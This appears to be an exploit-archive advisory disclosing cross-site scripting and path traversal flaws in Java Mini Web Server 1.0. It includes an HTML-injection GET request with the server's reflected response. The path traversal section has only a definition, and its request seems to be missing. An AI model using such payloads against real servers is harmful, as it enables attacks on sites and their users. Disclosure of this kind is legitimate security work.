Java Mini Web Server <= 1.0 Path Traversal and Cross Site Scripting

ID 1337DAY-ID-11593
Type zdt
Reporter cp77fk4r
Modified 2010-04-03T00:00:00


Exploit for multiple platform in category remote exploits

Java Mini Web Server <= 1.0 Path Traversal and Cross Site Scripting

# Exploit Title: Java Mini Web Server <= 1.0 Path Draversal & Cross Site Scripting.
# Date: 20/03/10
# Author: cp77fk4r | empty0page[SHIFT+2]<> |<>
# Software Link:
# Version: <= 1.0
# Tested on: JRE build 1.6.0_17-b04
##[Cross Site Scripting]
Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it. (OWASP)
GET %00"><font color=red>Work?</font><" HTTP/1.1
HOST: localhost
<html><head><title>Index of %00"><font color=red>Work?</font><"/</title></head><body><h3>Index of %00"><font color=red>Work?</font><"/</h3><p>
<a href="%00"><font color=red>Work?</font><"/SimpleWebServer.jar">SimpleWebServer.jar</a> <br>
##[Path Traversal:]
A Path Traversal attack aims to access files and directories that are stored outside the web root folder. By browsing the application, the attacker looks for absolute links to files stored on the web server. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration and critical system files, limited by system operational access control. The attacker uses “../” sequences to move up to root directory, thus permitting navigation through the file system. (OWASP)
("1.txt" located in the root directory on the volume)

# [2018-04-08]  #